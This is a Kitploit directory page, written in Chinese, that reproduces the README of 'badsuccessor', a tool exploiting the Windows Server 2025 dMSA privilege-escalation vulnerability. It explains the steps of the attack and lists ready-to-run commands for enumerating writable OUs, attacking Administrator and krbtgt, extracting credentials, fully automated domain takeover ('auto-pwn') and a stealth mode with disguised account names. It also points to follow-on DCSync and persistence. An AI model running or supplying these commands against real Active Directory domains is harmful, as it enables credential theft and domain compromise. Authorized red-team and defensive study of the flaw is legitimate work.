Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
badsuccessor — 利用 Windows Server 2025 的 dMSA 权限提升漏洞,枚举可写 OU,将权限提升至任意域用户,提取凭据,并在经授权的 AD 安全评估中实现域接管。 | Kitploit
工具/GitHubGitHub/cybrly/badsuccessor
权限提升侦察持久化机制漏洞利用横向移动信息收集后渗透利用渗透测试红队对抗性攻击
GitHubcybrly/badsuccessor

badsuccessor

12220201年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

利用 Windows Server 2025 的 dMSA 权限提升漏洞,枚举可写 OU,将权限提升至任意域用户,提取凭据,并在经授权的 AD 安全评估中实现域接管。

查看仓库

BadSuccessor.py

一个利用 Windows Server 2025 Active Directory 环境中 dMSA(委派托管服务帐户)权限提升漏洞的渗透测试工具。

⚠️ 法律免责声明

**此工具仅用于经授权的渗透测试和安全研究目的。**未经明确书面许可对系统使用此工具属非法且不道德的行为。作者对此工具造成的任何误用或损害概不负责。

⚠️ 开发状态与环境测试免责声明

重要提示:此工具正处于积极开发和测试阶段。

当前状态

  • Windows Server 2025 采用情况:截至 2025 年 5 月,Windows Server 2025 仍处于早期采用阶段,生产环境部署有限
  • 环境差异:由于可用于测试的 Windows Server 2025 环境数量有限,此工具可能会遇到未经测试的配置
  • 持续开发:随着更多环境变体被部署和测试,我们正在积极完善该工具

这意味着什么

  • 预期更新:随着新环境类型的测试,该工具将频繁更新
  • 报告问题:您的反馈至关重要——请报告您遇到的任何问题或边缘情况
  • 谨慎测试:始终先在非生产环境中进行测试
  • 架构差异:不同版本的 Windows Server 2025 构建可能会以不同方式实现 dMSA 属性
  • 功能稳定性:虽然核心功能稳定,但某些功能可能需要针对特定环境进行调整

正在跟踪的已知变量

  • 不同的 Windows Server 2025 构建版本
  • 架构属性的命名约定
  • 区域/本地化的 AD 实现
  • 混合云配置
  • 各种 AD 功能级别
  • 不同的安全加固配置

社区测试

我们鼓励安全社区:

  • 在不同环境中进行测试
  • 分享研究结果(经脱敏处理)
  • 提交改进兼容性的拉取请求
  • 报告环境差异

使用此工具即表示您确认该工具正处于积极开发阶段,并可能需要针对您的特定环境进行修改。

📋 概述

BadSuccessor 利用 Windows Server 2025 委派托管服务帐户(dMSA)功能中的权限提升漏洞。该漏洞允许拥有最低权限的攻击者将权限提升至域中的任何用户,包括域管理员。

研究鸣谢

此工具基于 Akamai Technologies 的 Yuval Gordon 所做的出色研究:

  • BadSuccessor:滥用 dMSA 以在 Active Directory 中提升权限

🎯 漏洞详情

该漏洞存在于 dMSA 迁移过程中:

  1. 攻击者在任何可写 OU 中创建恶意 dMSA
  2. 将 msDS-ManagedAccountPrecededByLink 或 ms-DS-Managed-Account-Preceded-By-Link 设置为指向目标用户
  3. 将 msDS-DelegatedMSAState 或 ms-DS-Delegated-MSA-State 设置为 2(迁移完成)
  4. KDC 通过 PAC 继承自动授予 dMSA 目标用户的全部权限

此外,KERB-DMSA-KEY-PACKAGE 结构包含目标用户的密码密钥,从而能够提取凭据。

✅ 先决条件

系统要求

  • Linux 机器(未加入域)
  • Python 3.6+
  • 对目标 Active Directory 环境的网络访问
  • 目标域必须至少有一台 Windows Server 2025 域控制器

Python 依赖```bash

pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0

**注意**:该工具已使用 impacket 0.12.0 进行测试。运行时将显示版本兼容性警告。

### 可选依赖```bash
# For DNS discovery
pip3 install dnspython

# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2

# RHEL/CentOS/Fedora
sudo yum install krb5-devel

所需权限

  • 有效的域凭据(任何用户帐户)
  • 对至少一个组织单位拥有以下任一权限:
    • CreateChild 权限
    • Write 权限
    • GenericWrite 权限
    • GenericAll 权限
    • 具有写入权限的默认组成员(例如,Authenticated Users)
  • 工具自动发现所有可写的 OU 并显示具体权限

🚀 安装```bash

git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py

### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

📖 使用方法

基本语法```bash

python3 badsuccessor.py -d -u -p [options]

### 快速入门示例

#### 1. 试运行模式(新增)- 在不进行更改的情况下测试```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator

# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

2. 枚举环境```bash

Check Windows Server 2025 schema support

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema

Find ALL writable OUs with detailed permissions

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate

List high-value targets

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets

Validate specific target account

python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

#### 3. 执行攻击```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

4. 提取凭据```bash

Extract credentials for multiple users

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql

Auto-pwn mode (fully automated)

python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

#### 5. 会话管理 (新增)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions

# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234

# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID

# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all

6. 导出结果 (新增)```bash

Export enumeration results to JSON

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json

Export to CSV

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv

Generate HTML report

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html

Combined operation with exports

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html

### 命令行选项

#### 身份验证参数
| 选项 | 描述 |
|--------|-------------|
| `-d, --domain` | 目标域(例如 corp.local)**[必需]** |
| `-u, --username` | 用于身份验证的用户名 **[必需]** |
| `-p, --password` | 用于身份验证的密码 |
| `--dc-ip` | 域控制器 IP(省略时自动发现) |
| `--ldaps` | 强制在 636 端口上使用 LDAPS (SSL) 连接 |

#### 攻击模式
| 选项 | 描述 |
|--------|-------------|
| `--attack` | 执行 BadSuccessor 攻击 |
| `--dry-run` | **新增**:模拟攻击而不进行任何更改 |
| `--extract-creds` | 使用密钥包提取凭据 |
| `--auto-pwn` | 全自动域接管 |

#### 目标指定
| 选项 | 描述 |
|--------|-------------|
| `--target` | 要提升权限的目标用户 |
| `--targets` | 用于凭据提取的逗号分隔的用户列表 |
| `--validate-target` | **新增**:在不发起攻击的情况下验证目标账户 |

#### dMSA 配置
| 选项 | 描述 |
|--------|-------------|
| `--dmsa-name` | 恶意 dMSA 的名称(未指定时自动生成) |
| `--dmsa-pattern` | **新增**:dMSA 命名模式(例如 "svc{random}{target}") |
| `--ou-dn` | 要使用的特定 OU DN(未指定时自动检测) |
| `--dmsa-description` | **新增**:创建的 dMSA 的描述 |
| `--dmsa-display-name` | **新增**:创建的 dMSA 的显示名称 |

#### 枚举选项
| 选项 | 描述 |
|--------|-------------|
| `--enumerate` | 枚举具有任何写入权限的 OU |
| `--list-targets` | 列出高价值目标 |
| `--check-schema` | 验证 Windows Server 2025 架构 |

#### 会话管理(新增)
| 选项 | 描述 |
|--------|-------------|
| `--session-id` | 恢复现有会话 |
| `--list-sessions` | 列出所有可用会话 |
| `--cleanup-session SESSION_ID` | 清理会话中的所有 dMSA |

#### 清理选项
| 选项 | 描述 |
|--------|-------------|
| `--cleanup` | 移除创建的 dMSA |
| `--dmsa-dn` | 用于清理操作的 dMSA DN |
| `--cleanup-all` | **新增**:清理当前会话中的所有 dMSA |

#### 输出选项
| 选项 | 描述 |
|--------|-------------|
| `--export-json FILE` | **新增**:将结果导出为 JSON 文件 |
| `--export-csv FILE` | **新增**:将结果导出为 CSV 文件 |
| `--export-html FILE` | **新增**:生成 HTML 报告 |
| `--no-banner` | 抑制横幅输出 |
| `--verbose` | 启用详细输出 |

#### 隐身选项(新增)
| 选项 | 描述 |
|--------|-------------|
| `--stealth` | 启用隐身模式(无害命名) |
| `--random-delay SECONDS` | 操作之间的随机延迟(0-N 秒) |

## 🔧 攻击工作流程

### 阶段 1:侦察
1. **架构验证**:通过动态属性检测确认 Windows Server 2025 dMSA 支持
2. **权限发现**:识别具有任何写访问权限的 OU(不仅仅是 CreateChild)
3. **目标验证**:**新增** - 攻击前的全面目标账户分析

### 阶段 2:利用
1. **预演选项**:**新增** - 在不进行更改的情况下测试攻击可行性
2. **dMSA 创建**:创建具有可自定义属性的恶意 dMSA
3. **属性操作**:在架构感知下设置前驱链接和迁移状态
4. **会话跟踪**:**新增** - 跟踪所有创建的对象以便轻松清理

### 阶段 3:身份验证
1. **Kerberos TGT 请求**:获取具有继承权限的 TGT
2. **PAC 分析**:验证继承的组成员身份
3. **密钥包提取**:通过多种回退方法增强解析

### 阶段 4:后利用
该工具提供可直接使用的命令,用于:
- DCSync 攻击(转储所有域哈希)
- 远程命令执行
- 横向移动
- 建立持久化

## 🔐 生产级功能 (v3.0.0)

### 动态架构检测(新增)
- 自动检测您的环境使用哪种属性命名约定
- 支持 dMSA 属性的所有已知变体
- 针对不同 Windows Server 2025 版本的架构回退机制

### 增强的目标验证(新增)
- 攻击前的目标账户验证
- 检测已禁用、锁定或过期的账户
- 警告智能卡要求和委派限制
- 根据目标属性提供建议
下载工具